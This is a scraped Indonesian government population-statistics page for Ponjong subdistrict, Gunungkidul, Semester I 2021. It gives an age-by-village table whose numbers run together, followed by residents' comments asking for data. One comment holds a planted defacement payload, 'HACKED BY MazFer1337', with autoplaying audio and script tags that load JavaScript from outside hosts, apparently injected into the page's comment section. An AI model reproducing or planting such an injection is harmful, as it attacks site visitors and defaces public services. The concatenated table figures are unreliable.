Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN PONJONG, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaUMBULREJOSAWAHANTAMBAKROMOKENTENGSUMBERGIRIGENJAHANPONJONGKARANGASEMBEDOYOSIDOREJOGOMBANGTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun7864 1426648 1143038 683532 674926 755558 1135847 1052221 434136 779491 1853132 63559 493 1.052
2 tahun3946 852431 552819 471417 312031 512739 662527 5299 181617 337369 1421716 33292 321 613
3 tahun4345 883024 541618 341813 312326 493534 693635 711512 273017 476562 1271520 35326 306 632
4 tahun4141 823927 662120 411421 352225 473827 653127 581313 262824 527166 1371221 33330 312 642
5 tahun4539 844433 772726 532117 382433 573332 653731 681212 242318 416457 1213210 42362 308 670
6 tahun4745 924138 792024 441717 342734 613032 622831 591715 322815 436660 1262520 45346 331 677
7 tahun4635 813937 762319 421417 313131 624734 814130 711510 252627 537551 1261717 34374 308 682
8 tahun5635 913834 722521 461415 292731 584129 703735 721113 242821 495947 1062315 38359 296 655
9 tahun5949 1083942 813232 641719 363028 583435 693040 702113 343019 497368 1411521 36380 366 746
10 tahun4453 973334 672630 562116 372333 565139 904828 761318 313927 666778 1452216 38387 372 759
11 tahun5058 1083036 662136 572326 493927 664641 873140 711917 362230 527364 1373020 50384 395 779
12 tahun4951 1004442 862932 611418 323624 604540 854036 762310 332526 517461 1352719 46406 359 765
13 tahun3854 922539 643224 563322 553423 574447 913334 671417 313718 556486 1502028 48374 392 766
14 tahun5133 843925 641526 411631 474036 765537 924034 742222 443424 586266 1283019 49404 353 757
15 tahun5853 1115041 912829 571815 333234 664642 884143 84168 242321 445758 1152826 54397 370 767
16 tahun3737 743037 672516 412118 393833 714344 872444 682111 322921 505947 1062425 49351 333 684
17 tahun3833 713739 763427 612410 344240 823438 723632 68189 271925 447162 1332925 54382 340 722
18 tahun4750 974944 932436 602321 443535 704733 803628 641520 352123 446063 1233313 46390 366 756
19 tahun5544 994043 831529 442131 522132 534446 904427 711913 322324 477159 1302427 51377 375 752
20 tahun4954 1034941 903932 712929 583736 734046 863930 691523 382531 568762 1492925 54438 409 847
21 tahun5467 1215245 973827 652218 404132 734743 903636 721820 383225 577873 1513028 58448 414 862
22 tahun4444 884541 862933 622118 393331 644243 854653 992216 383630 666149 1102221 43401 379 780
23 tahun6242 1044533 782736 632325 483127 584539 842920 491615 312217 395572 1272329 52378 355 733
24 tahun5851 1093937 763022 521722 393130 614238 804233 751714 312323 467262 1343823 61409 355 764
25 tahun6661 1274137 783922 612322 452832 604037 773830 682317 402530 556668 1342923 52418 379 797
26 tahun6660 1264947 963427 611923 423527 625644 1004241 832311 342430 548268 1503030 60460 408 868
27 tahun4742 893831 692819 472219 414328 714543 883131 621213 253018 489079 1693022 52416 345 761
28 tahun5139 904737 843131 621912 312227 493833 713829 672120 413130 617855 1333022 52406 335 741
29 tahun5350 1034840 882824 522323 463024 544035 752932 611520 354125 668278 1601314 27402 365 767
30 tahun6351 1143035 652635 611917 363525 603040 702638 641318 312736 636454 1182619 45359 368 727
31 tahun4041 814147 883325 582524 493227 593736 732124 452418 422026 465453 1071921 40346 342 688
32 tahun5651 1073838 762925 541815 332229 513118 492322 45148 222419 435153 1041511 26321 289 610
33 tahun4544 892833 612027 471920 392519 443124 552433 57714 212331 544542 871515 30282 302 584
34 tahun4050 903930 693224 561715 322731 583529 643128 59915 242921 504249 911821 39319 313 632
35 tahun6852 1202826 543320 532121 422032 524435 793432 661118 292117 385854 1121718 35355 325 680
36 tahun5835 933542 772530 551722 392937 662543 683334 671618 342528 538273 1552924 53374 386 760
37 tahun4747 943538 732629 551520 354315 583733 704741 882218 402827 557182 1532419 43395 369 764
38 tahun6350 1132729 563725 622523 483828 664147 883529 641312 253522 576364 1272620 46403 349 752
39 tahun4143 845537 923729 662919 483131 624348 913947 861620 363229 618553 1381524 39423 380 803
40 tahun5145 963538 732335 581522 373536 714442 863834 721816 343328 616460 1241817 35374 373 747
41 tahun4842 903428 622223 453129 602924 534641 873428 621116 272536 617768 1451927 46376 362 738
42 tahun4137 784840 882932 612733 603646 822955 843534 691621 372028 487169 1403021 51382 416 798
43 tahun5549 1044336 792826 542119 403529 644239 812731 582918 473725 626864 1322833 61413 369 782
44 tahun4846 943534 692727 543027 572528 534547 924140 811114 251917 365447 1011922 41354 349 703
45 tahun5658 1144248 902940 692324 473632 684035 752935 641823 412130 518067 1473229 61406 421 827
46 tahun4653 994336 792323 462127 483531 663547 823627 631814 323137 687052 1222323 46381 370 751
47 tahun5962 1214143 842936 653123 542833 614552 973439 732114 351922 415863 1212226 48387 413 800
48 tahun5260 1123641 773548 833435 694342 853142 733838 762217 393030 606568 1332739 66413 460 873
49 tahun5148 993052 822925 541930 494036 764454 983136 672319 423329 624981 1303325 58382 435 817
50 tahun5477 1314352 953732 693026 562931 603339 723337 702415 392943 727151 1223029 59413 432 845
51 tahun5562 1174454 983934 732825 532947 765552 1073742 792418 422043 636676 1423823 61435 476 911
52 tahun4960 1094857 1053337 702428 523437 714045 853840 781634 503740 778584 1692822 50432 484 916
53 tahun5447 1014943 922625 512420 443530 653747 844336 791926 453434 685657 1132529 54402 394 796
54 tahun5749 1063743 802631 571427 412236 584232 743233 651624 402436 606068 1282032 52350 411 761
55 tahun5864 1223547 823229 612222 444341 844342 853939 781315 284224 665168 1192622 48404 413 817
56 tahun3644 803738 751719 361824 423330 633543 783334 671618 342237 595656 1121924 43322 367 689
57 tahun5242 943045 752120 412024 442225 472840 682435 591823 413831 695367 1202218 40328 370 698
58 tahun4540 854237 792616 422016 362626 524451 953832 701917 363030 606056 1162022 42370 343 713
59 tahun2935 642834 621424 382518 432428 523130 612124 451714 312937 664354 971719 36278 317 595
60 tahun4264 1064033 731532 472032 522832 602330 532832 601813 312928 575964 1232336 59325 396 721
61 tahun4259 1014137 782827 551920 393734 713732 692647 731525 402427 515858 1162120 41348 386 734
62 tahun3649 853232 641329 422926 552628 542642 682337 601923 423141 725046 961615 31301 368 669
63 tahun2023 432031 511816 341020 302327 503136 672829 571312 252731 583168 991121 32232 314 546
64 tahun4431 752329 521732 492716 432126 473531 662719 462023 432127 484947 961320 33297 301 598
65 tahun3832 702231 532039 592120 413037 672432 562229 511417 312118 395058 1081818 36280 331 611
66 tahun2935 641520 351822 401824 422435 592133 541823 411317 302023 434954 1032320 43248 306 554
67 tahun3236 682922 512125 461419 331817 353524 592024 44128 201717 344048 881216 28250 256 506
68 tahun3626 622322 452530 551219 311523 383120 511918 371114 252219 413444 781014 24238 249 487
69 tahun2730 572627 533224 561615 312123 441826 442016 362413 372522 475152 103156 21275 254 529
70 tahun4133 742544 692127 481415 292248 701833 512027 471822 403118 494849 971416 30272 332 604
71 tahun2334 571926 451228 402022 422828 562417 411218 301519 341617 333129 601019 29210 257 467
72 tahun2733 602116 371824 42810 181826 442532 572223 452018 382025 453228 601019 29221 254 475
73 tahun2120 411222 341411 251013 232524 492526 51717 24137 201516 313031 6157 12177 194 371
74 tahun1320 331519 341418 321320 331420 341617 33916 2569 151211 231333 4678 15132 191 323
75 tahun1748 652019 391420 341519 342028 481734 511420 34119 201821 393744 811419 33197 281 478
76 tahun1517 322112 331818 361314 271418 321814 321317 3074 11919 282222 44913 22159 168 327
77 tahun1130 41135 18613 19811 191716 33921 30149 2368 14127 192723 50810 18131 153 284
78 tahun3035 651526 411317 301312 251917 361223 351627 43107 171214 263527 6245 9179 210 389
79 tahun1514 291115 261310 231113 24145 191214 261012 2288 16713 202524 4923 5128 131 259
80 ke atas178209 38773104 17787115 2024574 11977104 18187123 21079111 1902159 805761 118131210 3413861 99873 1.231 2.104
Jumlah3.7253.7377.4622.8422.8765.7182.0742.2034.2771.6341.7163.3502.3762.4344.8102.9173.0165.9332.5072.5775.0841.3051.3022.6072.0942.0604.1544.8234.7939.6161.7111.6873.398 28.008 28.401 56.409
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih